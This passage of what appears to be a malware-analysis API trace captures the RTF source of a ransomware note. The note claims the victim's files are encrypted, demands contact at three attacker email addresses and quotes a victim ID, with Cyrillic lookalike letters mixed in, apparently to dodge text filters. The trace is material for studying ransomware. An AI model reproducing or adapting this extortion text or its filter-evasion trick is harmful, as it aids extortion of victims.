pti\\f1\\lang1049\\'ee\\f0\\lang1033 n pr\\f1\\lang1049\\'ee\\'f1\\'e5\\f0\\lang1033 ss fil\\f1\\lang1049\\'e5\\f0\\lang1033 n\\f1\\lang1049\\'e0\\f0\\lang1033 m\\f1\\lang1049\\'e5\\f0\\lang1033 s will b\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\'f1\\'ee\\f0\\lang1033 v\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 d t\\f1\\lang1049\\'ee\\f0\\lang1033 \\f1\\lang1049\\'ee\\f0\\lang1033 rigin\\f1\\lang1049\\'e0\\f0\\lang1033 l st\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'e5\\f0\\lang1033 . D\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'e0\\f0\\lang1033 stru\\f1\\lang1049\\'f1\\f0\\lang1033 tur\\f1\\lang1049\\'e5\\f0\\lang1033 will n\\f1\\lang1049\\'ee\\f0\\lang1033 t \\f1\\lang1049\\'f1\\f0\\lang1033 h\\f1\\lang1049\\'e0\\f0\\lang1033 ng\\f1\\lang1049\\'e5\\f0\\lang1033 .\\par\r\n* Pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 b\\f1\\lang1049\\'e5\\f0\\lang1033 sur\\f1\\lang1049\\'e5\\f0\\lang1033 th\\f1\\lang1049\\'e0\\f0\\lang1033 t \\f1\\lang1049\\'e0\\f0\\lang1033 ll th\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 tt\\f1\\lang1049\\'e5\\f0\\lang1033 mpts t\\f1\\lang1049\\'ee\\f0\\lang1033 r\\f1\\lang1049\\'e5\\'f1\\'ee\\f0\\lang1033 v\\f1\\lang1049\\'e5\\f0\\lang1033 r \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur fil\\f1\\lang1049\\'e5\\f0\\lang1033 s b\\f1\\lang1049\\'f3\\f0\\lang1033 \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 urs\\f1\\lang1049\\'e5\\f0\\lang1033 lf \\f1\\lang1049\\'ee\\f0\\lang1033 r using third p\\f1\\lang1049\\'e0\\f0\\lang1033 rt\\f1\\lang1049\\'f3\\f0\\lang1033 t\\f1\\lang1049\\'ee\\'ee\\f0\\lang1033 ls \\f1\\lang1049\\'f1\\'e0\\f0\\lang1033 n r\\f1\\lang1049\\'e5\\f0\\lang1033 sult in irr\\f1\\lang1049\\'e5\\f0\\lang1033 v\\f1\\lang1049\\'ee\\'f1\\'e0\\f0\\lang1033 bl\\f1\\lang1049\\'e5\\f0\\lang1033 l\\f1\\lang1049\\'ee\\f0\\lang1033 ss \\f1\\lang1049\\'ee\\f0\\lang1033 f \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur d\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'e0\\f0\\lang1033 !\\b\\i0\\par\r\n\\par\r\nWH\\f1\\lang1049\\'c0\\f0\\lang1033 T D\\f1\\lang1049\\'ce\\f0\\lang1033 Y\\f1\\lang1049\\'ce\\f0\\lang1033 U NEED T\\f1\\lang1049\\'ce\\f0\\lang1033 D\\f1\\lang1049\\'ce\\f0\\lang1033 ?\\par\r\n\\b0 First \\f1\\lang1049\\'ee\\f0\\lang1033 f \\f1\\lang1049\\'e0\\f0\\lang1033 ll \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u h\\f1\\lang1049\\'e0\\f0\\lang1033 v\\f1\\lang1049\\'e5\\f0\\lang1033 t\\f1\\lang1049\\'ee\\f0\\lang1033 writ\\f1\\lang1049\\'e5\\f0\\lang1033 us b\\f1\\lang1049\\'f3\\f0\\lang1033 \\f1\\lang1049\\'e5\\f0\\lang1033 -m\\f1\\lang1049\\'e0\\f0\\lang1033 il:\\par\r\n\r\n\\pard\\sl240\\slmult1\\f1\\lang1049\\'ce\\f0\\lang1033 ur first \\f1\\lang1049\\'e5\\f0\\lang1033 -m\\f1\\lang1049\\'e0\\f0\\lang1033 il:\\tab \\b\\fs28 billwong73@yahoo.com\\par\r\n\\b0\\f1\\fs24\\lang1049\\'ce\\f0\\lang1033 ur s\\f1\\lang1049\\'e5\\'f1\\'ee\\f0\\lang1033 nd \\f1\\lang1049\\'e5\\f0\\lang1033 -m\\f1\\lang1049\\'e0\\f0\\lang1033 il:\\tab\\tab\\b\\fs28 billwong73@protonmail.com\\par\r\n\\b0\\f1\\fs24\\lang1049\\'ce\\f0\\lang1033 ur third \\f1\\lang1049\\'e5\\f0\\lang1033 -m\\f1\\lang1049\\'e0\\f0\\lang1033 il:\\tab\\tab\\b\\fs28 billwong73@aol.com\\cf1\\fs24\\par\r\n\r\n\\pard\\ri-74\\sl240\\slmult1\\tx8378\\cf0\\b0\\par\r\n\r\n\\pard\\sl240\\slmult1\\cf1\\ul\\b\\f1\\fs28\\lang1049\\'c0\\f0\\lang1033 TTENTI\\f1\\lang1049\\'ce\\f0\\lang1033 N!\\par\r\n\\ulnone\\fs26 If \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u w\\f1\\lang1049\\'e0\\f0\\lang1033 nt t\\f1\\lang1049\\'ee\\f0\\lang1033 r\\f1\\lang1049\\'e5\\'f1\\'ee\\f0\\lang1033 v\\f1\\lang1049\\'e5\\f0\\lang1033 r \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur d\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'e0\\f0\\lang1033 pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 writ\\f1\\lang1049\\'e5\\f0\\lang1033 us t\\f1\\lang1049\\'ee\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 ll \\f1\\lang1049\\'ee\\f0\\lang1033 ur \\f1\\lang1049\\'e5\\f0\\lang1033 -m\\f1\\lang1049\\'e0\\f0\\lang1033 il \\f1\\lang1049\\'e0\\f0\\lang1033 dr\\f1\\lang1049\\'e5\\f0\\lang1033 ss\\f1\\lang1049\\'e5\\f0\\lang1033 s!\\par\r\nIt is r\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 ll\\f1\\lang1049\\'f3\\f0\\lang1033 imp\\f1\\lang1049\\'ee\\f0\\lang1033 rt\\f1\\lang1049\\'e0\\f0\\lang1033 nt b\\f1\\lang1049\\'e5\\'f1\\'e0\\f0\\lang1033 us\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'ee\\f0\\lang1033 f d\\f1\\lang1049\\'e5\\f0\\lang1033 liv\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pr\\f1\\lang1049\\'ee\\f0\\lang1033 bl\\f1\\lang1049\\'e5\\f0\\lang1033 ms with s\\f1\\lang1049\\'ee\\f0\\lang1033 m\\f1\\lang1049\\'e5\\f0\\lang1033 m\\f1\\lang1049\\'e0\\f0\\lang1033 il s\\f1\\lang1049\\'e5\\f0\\lang1033 rvi\\f1\\lang1049\\'f1\\'e5\\f0\\lang1033 s!\\par\r\nPl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 b\\f1\\lang1049\\'e5\\f0\\lang1033 sur\\f1\\lang1049\\'e5\\f0\\lang1033 w\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 lw\\f1\\lang1049\\'e0\\'f3\\f0\\lang1033 s in t\\f1\\lang1049\\'ee\\f0\\lang1033 u\\f1\\lang1049\\'f1\\f0\\lang1033 h \\f1\\lang1049\\'e0\\f0\\lang1033 nd r\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 d\\f1\\lang1049\\'f3\\f0\\lang1033 t\\f1\\lang1049\\'ee\\f0\\lang1033 h\\f1\\lang1049\\'e5\\f0\\lang1033 lp \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u!\\par\r\nIf \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u will n\\f1\\lang1049\\'ee\\f0\\lang1033 t r\\f1\\lang1049\\'e5\\'f1\\'e5\\f0\\lang1033 iv\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'ee\\f0\\lang1033 ur \\f1\\lang1049\\'e0\\f0\\lang1033 nsw\\f1\\lang1049\\'e5\\f0\\lang1033 r in 24 h\\f1\\lang1049\\'ee\\f0\\lang1033 urs, pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 nd \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur m\\f1\\lang1049\\'e5\\f0\\lang1033 ss\\f1\\lang1049\\'e0\\f0\\lang1033 g\\f1\\lang1049\\'e5\\f0\\lang1033 !\\par\r\n\\cf2\\fs28 Pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 lw\\f1\\lang1049\\'e0\\'f3\\f0\\lang1033 s \\f1\\lang1049\\'f1\\f0\\lang1033 h\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 k SP\\f1\\lang1049\\'c0\\f0\\lang1033 M f\\f1\\lang1049\\'ee\\f0\\lang1033 ld\\f1\\lang1049\\'e5\\f0\\lang1033 r!\\par\r\n\r\n\\pard\\ri-74\\sl240\\slmult1\\tx8378\\cf0\\b0\\fs26 * \\i Writ\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'ee\\f0\\lang1033 n English \\f1\\lang1049\\'ee\\f0\\lang1033 r us\\f1\\lang1049\\'e5\\f0\\lang1033 pr\\f1\\lang1049\\'ee\\f0\\lang1033 f\\f1\\lang1049\\'e5\\f0\\lang1033 ssi\\f1\\lang1049\\'ee\\f0\\lang1033 n\\f1\\lang1049\\'e0\\f0\\lang1033 l tr\\f1\\lang1049\\'e0\\f0\\lang1033 nsl\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'ee\\f0\\lang1033 r\\i0\\par\r\n\\fs24\\par\r\n\\highlight3\\fs28 In subj\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 t lin\\f1\\lang1049\\'e5\\f0\\lang1033 writ\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur p\\f1\\lang1049\\'e5\\f0\\lang1033 rs\\f1\\lang1049\\'ee\\f0\\lang1033 n\\f1\\lang1049\\'e0\\f0\\lang1033 l ID: \\b 494DCEE6F0485AF8\\par\r\n\\highlight0\\par\r\nF\\f1\\lang1049\\'ee\\f0\\lang1033 r \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur \\f1\\lang1049\\'e0\\f0\\lang1033 ssur\\f1\\lang1049\\'e0\\f0\\lang1033 n\\f1\\lang1049\\'f1\\'e5\\f0\\lang1033 \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u \\f1\\lang1049\\'f1\\'e0\\f0\\lang1033 n \\f1\\lang1049\\'e0\\f0\\lang1033 tt\\f1\\lang1049\\'e0\\'f1\\f0\\lang1033 h up t\\f1\\lang1049\\'ee\\f0\\lang1033 3 sm\\f1\\lang1049\\'e0\\f0\\lang1033 ll \\f1\\lang1049\\'e5\\f0\\lang1033 n\\f1\\lang1049\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt\\f1\\lang1049\\'e5\\f0\\lang1033 d fil\\f1\\lang1049\\'e5\\f0\\lang1033 s t\\f1\\lang1049\\'ee\\f0\\lang1033 \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur m\\f1\\lang1049\\'e5\\f0\\lang1033 ss\\f1\\lang1049\\'e0\\f0\\lang1033 g\\f1\\lang1049\\'e5\\f0\\lang1033 . W\\f1\\lang1049\\'e5\\f0\\lang1033 will d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt \\f1\\lang1049\\'e0\\f0\\lang1033 nd s\\f1\\lang1049\\'e5\\f0\\lang1033 nd \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt\\f1\\lang1049\\'e5\\f0\\lang1033 d fil\\f1\\lang1049\\'e5\\f0\\lang1033 s f\\f1\\lang1049\\'ee\\f0\\lang1033 r fr\\f1\\lang1049\\'e5\\'e5\\f0\\lang1033 . \\par\r\n\\i\\f1\\fs24\\lang1049 * \\f0\\lang1033 \\f1\\lang1049 \\f0\\lang1033 Pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 n\\f1\\lang1049\\'ee\\f0\\lang1033 t\\f1\\lang1049\\'e5\\f0\\lang1033 th\\f1\\lang1049\\'e0\\f0\\lang1033 t fil\\f1\\lang1049\\'e5\\f0\\lang1033 s must n\\f1\\lang1049\\'ee\\f0\\lang1033 t \\f1\\lang1049\\'f1\\'ee\\f0\\lang1033 nt\\f1\\lang1049\\'e0\\f0\\lang1033 in \\f1\\lang1049\\'e0\\f0\\lang1033 n\\f1\\lang1049\\'f3\\f0\\lang1033 v\\f1\\lang1049\\'e0\\f0\\lang1033 lu\\f1\\lang1049\\'e0\\f0\\lang1033 bl\\f1\\lang1049\\'e5\\f0\\lang1033 inf\\f1\\lang1049\\'ee\\f0\\lang1033 rm\\f1\\lang1049\\'e0\\f0\\lang1033 ti\\f1\\lang1049\\'ee\\f0\\lang1033 n \\f1\\lang1049\\'e0\\f0\\lang1033 nd th\\f1\\lang1049\\'e5\\f0\\lang1033 ir t\\f1\\lang1049\\'ee\\f0\\lang1033 t\\f1\\lang1049\\'e0\\f0\\lang1033 l siz\\f1\\lang1049\\'e5\\f0\\lang1033 must b\\f1\\lang1049\\'e5\\f0\\lang1033 l\\f1\\lang1049\\'e5\\f0\\lang1033 ss th\\f1\\lang1049\\'e0\\f0\\lang1033 n 5Mb. \\par\r\n\\i0\\par\r\n\\cf4\\fs26 Pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 d\\f1\\lang1049\\'ee\\f0\\lang1033 n't w\\f1\\lang1049\\'ee\\f0\\lang1033 rr\\f1\\lang1049\\'f3\\f0\\lang1033 !\\par\r\nB\\f1\\lang1049\\'e5\\f0\\lang1033 sur\\f1\\lang1049\\'e5\\f0\\lang1033 th\\f1\\lang1049\\'e0\\f0\\lang1033 t \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur d\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'e0\\f0\\lang1033 \\f1\\lang1049\\'f1\\'e0\\f0\\lang1033 n b\\f1\\lang1049\\'e5\\f0\\lang1033 REST\\f1\\lang1049\\'ce\\f0\\lang1033 RED T\\f1\\lang1049\\'ce\\f0\\lang1033 D\\f1\\lang1049\\'c0\\f0\\lang1033 Y!\\par\r\nW\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 in t\\f1\\lang1049\\'ee\\f0\\lang1033 u\\f1\\lang1049\\'f1\\f0\\lang1033 h 24/7 \\f1\\lang1049\\'e0\\f0\\lang1033 nd r\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 d\\f1\\lang1049\\'f3\\f0\\lang1033 t\\f1\\lang1049\\'ee\\f0\\lang1033 h\\f1\\lang1049\\'e5\\f0\\lang1033 lp \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u!\\par\r\nIf \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u n\\f1\\lang1049\\'ee\\f0\\lang1033 t r\\f1\\lang1049\\'e5\\'f1\\'e5\\f0\\lang1033 iv\\f1\\lang1049\\'e5\\f0\\lang1033 d \\f1\\lang1049\\'ee\\f0\\lang1033 ur \\f1\\lang1049\\'e0\\f0\\lang1033 nsw\\f1\\lang1049\\'e5\\f0\\lang1033 r pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 nd \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur m\\f1\\lang1049\\'e5\\f0\\lang1033 ss\\f1\\lang1049\\'e0\\f0\\lang1033 g\\f1\\lang1049\\'e5\\f0\\lang1033 t\\f1\\lang1049\\'ee\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 ll \\f1\\lang1049\\'e5\\f0\\lang1033 -m\\f1\\lang1049\\'e0\\f0\\lang1033 il \\f1\\lang1049\\'e0\\f0\\lang1033 dr\\f1\\lang1049\\'e5\\f0\\lang1033 ss\\f1\\lang1049\\'e5\\f0\\lang1033 s!\\par\r\n\\cf0\\b0\\fs24\\par\r\n\\cf5\\b\\fs28 BVlu3fKE\\cf0\\f1\\fs32\\lang1049\\par\r\n\r\n\\pard\\sa200\\sl240\\slmult1\\par\r\n}\r\n", cchWideChar=14086, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 14086 [0040.529] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="{\\rtf1\\ansi\\ansicpg1251\\deff0\\nouicompat\\deflang1049{\\fonttbl{\\f0\\fnil\\fcharset0 Calibri;}{\\f1\\fnil\\fcharset204 Calibri;}}\r\n{\\colortbl ;\\red255\\green0\\blue0;\\red155\\green0\\blue211;\\red255\\green255\\blue0;\\red0\\green176\\blue80;\\red255\\green255\\blue255;}\r\n{\\*\\generator Riched20 10.0.15063}\\viewkind4\\uc1 \r\n\\pard\\ri-500\\sa200\\sl240\\slmult1\\qc\\tx8804\\ul\\b\\f0\\fs28\\lang1033 SHIT H\\f1\\lang1049\\'c0\\f0\\lang1033 PPENS!\\ulnone\\f1\\lang1049\\par\r\n\r\n\\pard\\ri-74\\sl240\\slmult1\\qc\\tx8378\\f0\\fs24\\lang1033 WE H\\f1\\lang1049\\'c0\\f0\\lang1033 VE T\\f1\\lang1049\\'ce\\f0\\lang1033 INF\\f1\\lang1049\\'ce\\f0\\lang1033 RM Y\\f1\\lang1049\\'ce\\f0\\lang1033 U TH\\f1\\lang1049\\'c0\\f0\\lang1033 T \\f1\\lang1049\\'c0\\f0\\lang1033 LL Y\\f1\\lang1049\\'ce\\f0\\lang1033 UR FILES WERE ENCRYPTED!\\par\r\n\r\n\\pard\\ri-74\\sl240\\slmult1\\tx8378\\cf1\\par\r\n\\cf0 PLE\\f1\\lang1049\\'c0\\f0\\lang1033 SE BE SURE, Y\\f1\\lang1049\\'ce\\f0\\lang1033 UR FILES \\f1\\lang1049\\'c0\\f0\\lang1033 RE N\\f1\\lang1049\\'ce\\f0\\lang1033 T BR\\f1\\lang1049\\'ce\\f0\\lang1033 KEN!\\b0\\par\r\n\\i Y\\f1\\lang1049\\'ee\\f0\\lang1033 ur fil\\f1\\lang1049\\'e5\\f0\\lang1033 s w\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'e5\\f0\\lang1033 n\\f1\\lang1049\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt\\f1\\lang1049\\'e5\\f0\\lang1033 d with str\\f1\\lang1049\\'ee\\f0\\lang1033 ng \\f1\\lang1049\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt\\f1\\lang1049\\'ee\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 lg\\f1\\lang1049\\'ee\\f0\\lang1033 rithms.\\i0\\par\r\n\\i * Pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 n\\f1\\lang1049\\'ee\\f0\\lang1033 t\\f1\\lang1049\\'e5\\f0\\lang1033 th\\f1\\lang1049\\'e0\\f0\\lang1033 t th\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 is n\\f1\\lang1049\\'ee\\f0\\lang1033 w\\f1\\lang1049\\'e0\\'f3\\f0\\lang1033 t\\f1\\lang1049\\'ee\\f0\\lang1033 d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur fil\\f1\\lang1049\\'e5\\f0\\lang1033 s with\\f1\\lang1049\\'ee\\f0\\lang1033 ut uniqu\\f1\\lang1049\\'e5\\f0\\lang1033 d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pti\\f1\\lang1049\\'ee\\f0\\lang1033 n k\\f1\\lang1049\\'e5\\'f3\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 nd sp\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 i\\f1\\lang1049\\'e0\\f0\\lang1033 l s\\f1\\lang1049\\'ee\\f0\\lang1033 ftw\\f1\\lang1049\\'e0\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 . Y\\f1\\lang1049\\'ee\\f0\\lang1033 ur uniqu\\f1\\lang1049\\'e5\\f0\\lang1033 d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pti\\f1\\lang1049\\'ee\\f0\\lang1033 n k\\f1\\lang1049\\'e5\\'f3\\f0\\lang1033 is s\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 ur\\f1\\lang1049\\'e5\\f0\\lang1033 l\\f1\\lang1049\\'f3\\f0\\lang1033 st\\f1\\lang1049\\'ee\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 d \\f1\\lang1049\\'ee\\f0\\lang1033 n \\f1\\lang1049\\'ee\\f0\\lang1033 ur s\\f1\\lang1049\\'e5\\f0\\lang1033 rv\\f1\\lang1049\\'e5\\f0\\lang1033 r.\\par\r\n* T\\f1\\lang1049\\'ee\\f0\\lang1033 d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur d\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'e0\\f0\\lang1033 \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u n\\f1\\lang1049\\'e5\\'e5\\f0\\lang1033 d \\f1\\lang1049\\'ee\\f0\\lang1033 ur sp\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 ifi\\f1\\lang1049\\'f1\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 ut\\f1\\lang1049\\'ee\\f0\\lang1033 m\\f1\\lang1049\\'e0\\f0\\lang1033 ti\\f1\\lang1049\\'f1\\f0\\lang1033 d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pti\\f1\\lang1049\\'ee\\f0\\lang1033 n t\\f1\\lang1049\\'ee\\'ee\\f0\\lang1033 l \\f1\\lang1049\\'e0\\f0\\lang1033 nd \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur uniqu\\f1\\lang1049\\'e5\\f0\\lang1033 d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pti\\f1\\lang1049\\'ee\\f0\\lang1033 n k\\f1\\lang1049\\'e5\\'f3\\f0\\lang1033 .\\par\r\n* \\f1\\lang1049\\'c0\\f0\\lang1033 ll \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur fil\\f1\\lang1049\\'e5\\f0\\lang1033 s w\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 n\\f1\\lang1049\\'e0\\f0\\lang1033 m\\f1\\lang1049\\'e5\\f0\\lang1033 d but \\f1\\lang1049\\'e0\\f0\\lang1033 ft\\f1\\lang1049\\'e5\\f0\\lang1033 r d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pti\\f1\\lang1049\\'ee\\f0\\lang1033 n pr\\f1\\lang1049\\'ee\\'f1\\'e5\\f0\\lang1033 ss fil\\f1\\lang1049\\'e5\\f0\\lang1033 n\\f1\\lang1049\\'e0\\f0\\lang1033 m\\f1\\lang1049\\'e5\\f0\\lang1033 s will b\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\'f1\\'ee\\f0\\lang1033 v\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 d t\\f1\\lang1049\\'ee\\f0\\lang1033 \\f1\\lang1049\\'ee\\f0\\lang1033 rigin\\f1\\lang1049\\'e0\\f0\\lang1033 l st\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'e5\\f0\\lang1033 . D\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'e0\\f0\\lang1033 stru\\f1\\lang1049\\'f1\\f0\\lang1033 tur\\f1\\lang1049\\'e5\\f0\\lang1033 will n\\f1\\lang1049\\'ee\\f0\\lang1033 t \\f1\\lang1049\\'f1\\f0\\lang1033 h\\f1\\lang1049\\'e0\\f0\\lang1033 ng\\f1\\lang1049\\'e5\\f0\\lang1033 .\\par\r\n* Pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 b\\f1\\lang1049\\'e5\\f0\\lang1033 sur\\f1\\lang1049\\'e5\\f0\\lang1033 th\\f1\\lang1049\\'e0\\f0\\lang1033 t \\f1\\lang1049\\'e0\\f0\\lang1033 ll th\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 tt\\f1\\lang1049\\'e5\\f0\\lang1033 mpts t\\f1\\lang1049\\'ee\\f0\\lang1033 r\\f1\\lang1049\\'e5\\'f1\\'ee\\f0\\lang1033 v\\f1\\lang1049\\'e5\\f0\\lang1033 r \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur fil\\f1\\lang1049\\'e5\\f0\\lang1033 s b\\f1\\lang1049\\'f3\\f0\\lang1033 \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 urs\\f1\\lang1049\\'e5\\f0\\lang1033 lf \\f1\\lang1049\\'ee\\f0\\lang1033 r using third p\\f1\\lang1049\\'e0\\f0\\lang1033 rt\\f1\\lang1049\\'f3\\f0\\lang1033 t\\f1\\lang1049\\'ee\\'ee\\f0\\lang1033 ls \\f1\\lang1049\\'f1\\'e0\\f0\\lang1033 n r\\f1\\lang1049\\'e5\\f0\\lang1033 sult in irr\\f1\\lang1049\\'e5\\f0\\lang1033 v\\f1\\lang1049\\'ee\\'f1\\'e0\\f0\\lang1033 bl\\f1\\lang1049\\'e5\\f0\\lang1033 l\\f1\\lang1049\\'ee\\f0\\lang1033 ss \\f1\\lang1049\\'ee\\f0\\lang1033 f \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur d\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'e0\\f0\\lang1033 !\\b\\i0\\par\r\n\\par\r\nWH\\f1\\lang1049\\'c0\\f0\\lang1033 T D\\f1\\lang1049\\'ce\\f0\\lang1033 Y\\f1\\lang1049\\'ce\\f0\\lang1033 U NEED T\\f1\\lang1049\\'ce\\f0\\lang1033 D\\f1\\lang1049\\'ce\\f0\\lang1033 ?\\par\r\n\\b0 First \\f1\\lang1049\\'ee\\f0\\lang1033 f \\f1\\lang1049\\'e0\\f0\\lang1033 ll \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u h\\f1\\lang1049\\'e0\\f0\\lang1033 v\\f1\\lang1049\\'e5\\f0\\lang1033 t\\f1\\lang1049\\'ee\\f0\\lang1033 writ\\f1\\lang1049\\'e5\\f0\\lang1033 us b\\f1\\lang1049\\'f3\\f0\\lang1033 \\f1\\lang1049\\'e5\\f0\\lang1033 -m\\f1\\lang1049\\'e0\\f0\\lang1033 il:\\par\r\n\r\n\\pard\\sl240\\slmult1\\f1\\lang1049\\'ce\\f0\\lang1033 ur first \\f1\\lang1049\\'e5\\f0\\lang1033 -m\\f1\\lang1049\\'e0\\f0\\lang1033 il:\\tab \\b\\fs28 billwong73@yahoo.com\\par\r\n\\b0\\f1\\fs24\\lang1049\\'ce\\f0\\lang1033 ur s\\f1\\lang1049\\'e5\\'f1\\'ee\\f0\\lang1033 nd \\f1\\lang1049\\'e5\\f0\\lang1033 -m\\f1\\lang1049\\'e0\\f0\\lang1033 il:\\tab\\tab\\b\\fs28 billwong73@protonmail.com\\par\r\n\\b0\\f1\\fs24\\lang1049\\'ce\\f0\\lang1033 ur third 